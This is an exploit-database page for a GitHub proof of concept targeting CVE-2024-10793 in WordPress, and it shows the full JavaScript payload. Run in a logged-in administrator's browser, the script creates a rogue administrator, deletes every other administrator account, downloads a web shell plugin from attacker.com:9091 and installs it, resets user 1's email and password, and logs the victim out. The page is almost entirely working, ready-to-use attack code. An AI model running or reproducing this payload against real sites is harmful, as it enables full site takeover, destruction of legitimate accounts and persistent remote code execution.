Exploit database

GH-df52fc2e750231559b20b00888e6406c

mahajian/cve-2024-10793

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-10793

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
mahajian/cve-2024-10793Revision 7c9e2d7b1a0f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/xpl.js

JavaScript · 10,245 bytes
function textToDOM(text) {
  return new DOMParser().parseFromString(text, 'text/html');
}

function addAdmin(email, username, password) {
  return new Promise((resolve, reject) => {
    const path = '/wp-admin/user-new.php';
    const xhr = new XMLHttpRequest();
    xhr.open('GET', path, true);
    xhr.onreadystatechange = function () {
      if (this.readyState === this.DONE && this.status === 200) {
        const $ = textToDOM(this.responseText);

        const csrfTokenElement = $.getElementById('_wpnonce_create-user');
        if (csrfTokenElement) {
          const csrfToken = csrfTokenElement.value;
          const postXhr = new XMLHttpRequest();
          postXhr.open('POST', path, true);
          postXhr.setRequestHeader(
            'Content-Type',
            'application/x-www-form-urlencoded'
          );
          postXhr.withCredentials = true;

          postXhr.onreadystatechange = function () {
            if (this.readyState === this.DONE) {
              if (this.status === 302) {
                const location = postXhr.getResponseHeader('Location');
                if (location) {
                  const redirectXhr = new XMLHttpRequest();
                  redirectXhr.open('GET', location);
                  redirectXhr.withCredentials = true;
                  redirectXhr.onreadystatechange = function () {
                    if (this.readyState === this.DONE) {
                      resolve({ email, username, password });
                    }
                  };
                  redirectXhr.send();
                }
              } else if (this.status === 200) {
                resolve({ email, username, password });
              } else {
                console.error(
                  'Error during POST request:',
                  postXhr.status,
                  postXhr.statusText
                );
              }
            }
          };
          const postData = `action=createuser&_wpnonce_create-user=${encodeURIComponent(
            csrfToken
          )}&_wp_http_referer=${encodeURIComponent(
            '/wp-admin/user-new.php'
          )}&user_login=${encodeURIComponent(
            username
          )}&email=${encodeURIComponent(email)}&pass1=${encodeURIComponent(
            password
          )}&pass2=${encodeURIComponent(
            password
          )}&send_user_notification=1&role=administrator&createuser=Add+New+User`;

          postXhr.send(postData);
        } else {
          console.error('CSRF token not found.');
        }
      }
    };

    xhr.withCredentials = true;
    xhr.send();
  });
}

function deleteAllAdmins(name) {
  return new Promise((resolve, reject) => {
    const users = [];
    const xhr = new XMLHttpRequest();
    xhr.open('GET', '/wp-admin/users.php?role=administrator', true);
    xhr.onreadystatechange = function () {
      if (this.readyState === this.DONE && this.status === 200) {
        const $ = textToDOM(this.responseText);
        const wpnonce = $.getElementById('_wpnonce').value;
        for (let user of $.getElementsByName('users[]'))
          if (user.className === 'administrator') users.push(user.value);
        for (let i = 0; i < users.length; i++) {
          const username = $.querySelectorAll(`tr[id="user-${users[i]}"]`)[0]
            .children[1].children[1].children[0].innerHTML;
          if (username === name) continue;
          const xhttp = new XMLHttpRequest();
          xhttp.open(
            'GET',
            `/wp-admin/users.php?action=delete&user=${users[i]}&_wpnonce=${wpnonce}`,
            true
          );
          xhttp.onreadystatechange = function () {
            if (this.readyState === this.DONE) {
              const deleteUser = new XMLHttpRequest();
              deleteUser.open(
                'POST',
                `/wp-admin/users.php?action=delete&user=${users[i]}&_wpnonce=${wpnonce}`,
                true
              );
              const $ = textToDOM(this.responseText);
              const wpnoncePost = $.getElementById('_wpnonce').value;
              deleteUser.onreadystatechange = function () {
                if (this.readyState === this.DONE && this.status === 302) {
                  const location = this.getResponseHeader('Location');
                  const update = new XMLHttpRequest();
                  update.open('GET', location, true);
                  update.withCredentials = true;
                  update.send();
                }
              };
              deleteUser.setRequestHeader(
                'Content-Type',
                'application/x-www-form-urlencoded'
              );
              const referer = `/wp-admin/users.php?action=delete&user=${users[i]}&_wpnonce=${wpnonce}`;
              deleteUser.withCredentials = true;
              deleteUser.send(
                `_wpnonce=${wpnoncePost}&_wp_http_referer=${encodeURIComponent(
                  referer
                )}&users[]=${
                  users[i]
                }&delete_option=delete&action=dodelete&submit=Confirm+Deletion`
              );
            }
          };
          xhttp.withCredentials = true;
          xhttp.send();
        }
        resolve();
      }
    };
    xhr.withCredentials = true;
    xhr.send();
  });
}

function logout() {
  const xhr = new XMLHttpRequest();
  xhr.open('GET', '/', true);
  xhr.onreadystatechange = function () {
    if (this.readyState === this.DONE) {
      const $ = textToDOM(this.responseText);
      const link = $.getElementById('wp-admin-bar-logout').children[0].href;
      const logout = new XMLHttpRequest();
      logout.open('GET', link, true);
      logout.onreadystatechange = function () {
        if (this.readyState === this.DONE && this.status === 302) {
          const update = new XMLHttpRequest();
          update.open('GET', this.getResponseHeader('Location'), true);
          update.withCredentials = true;
          update.send();
        }
      };
      logout.withCredentials = true;
      logout.send();
    }
  };
  xhr.withCredentials = true;
  xhr.send();
}

function changeProfile(id, email, password) {
  return new Promise((resolve, reject) => {
    const path = '/wp-admin/profile.php';
    const profile = new XMLHttpRequest();
    profile.open('GET', path, true);
    profile.onreadystatechange = function () {
      if (this.readyState === this.DONE) {
        const $ = textToDOM(this.responseText);
        const wpnonce = $.getElementById('_wpnonce').value;
        const colornonce = $.getElementById('color-nonce').value;
        const updateProfile = new XMLHttpRequest();
        updateProfile.open('POST', path, true);
        updateProfile.onreadystatechange = function () {
          if (this.readyState === this.DONE) {
            if (this.status === 302) {
              const update = new XMLHttpRequest();
              update.open('GET', this.getResponseHeader('Location'), true);
              update.onreadystatechange = function () {
                if (this.readyState === this.DONE) resolve();
              };
              update.withCredentials = true;
              update.send();
            }
          } else if (this.status === 200) resolve();
        };
        updateProfile.setRequestHeader(
          'Content-Type',
          'application/x-www-form-urlencoded'
        );
        updateProfile.withCredentials = true;
        updateProfile.send(
          `_wpnonce=${wpnonce}&_wp_http_referer=${encodeURIComponent(
            path
          )}&from=profile&checkuser_id=${id}&color-nonce=${colornonce}&admin_color=fresh&admin_bar_front=1&nickname=GoodCMS&display_name=GoodCMS&email=${encodeURIComponent(
            email
          )}&url=${encodeURIComponent(
            origin
          )}&description=&pass1=${encodeURIComponent(
            password
          )}&pass2=${encodeURIComponent(
            password
          )}&action=update&user_id=${id}&submit=Update+Profile`
        );
      }
    };
    profile.withCredentials = true;
    profile.send();
  });
}

function shellUpload(pluginPath) {
  return new Promise((resolve, reject) => {
    const getNonce = new XMLHttpRequest();
    getNonce.open('GET', '/wp-admin/plugin-install.php', true);
    getNonce.onload = function () {
      const _wpnonce = textToDOM(this.responseText).getElementById(
        '_wpnonce'
      ).value;
      console.log(_wpnonce);
      const xhrFile = new XMLHttpRequest();
      xhrFile.open('GET', pluginPath, true);
      xhrFile.responseType = 'blob';

      xhrFile.onload = function () {
        if (xhrFile.status === 200) {
          const fileBlob = xhrFile.response;
          console.log(fileBlob);
          const formData = new FormData();
          formData.append('pluginzip', fileBlob, 'shell.zip');
          formData.append('_wpnonce', _wpnonce);
          formData.append('_wp_http_referer', '/wp-admin/plugin-install.php');
          formData.append('install-plugin-submit', 'Install Now');

          const xhrUpload = new XMLHttpRequest();
          xhrUpload.open(
            'POST',
            '/wp-admin/update.php?action=upload-plugin',
            true
          );

          xhrUpload.onload = function () {
            if (xhrUpload.status === 200) {
              resolve('/wp-content/plugins/sogrid/shell.php');
            } else {
              console.error(
                'Upload failed:',
                xhrUpload.status,
                xhrUpload.statusText
              );
            }
          };

          xhrUpload.onerror = function () {
            console.error('Error occurred during upload');
          };

          xhrUpload.withCredentials = true;
          xhrUpload.send(formData);
        } else {
          console.error(
            'Failed to fetch the file:',
            xhrFile.status,
            xhrFile.statusText
          );
        }
      };

      xhrFile.send();
    };
    getNonce.withCredentials = true;
    getNonce.send();
  });
}

async function run() {
  const result = await addAdmin('[email protected]', 'amin', '123456');
  await deleteAllAdmins(result['username']);
  await shellUpload('http://attacker.com:9091/shell');
  await changeProfile(1, '[email protected]', '123456');
  await logout();
}

run();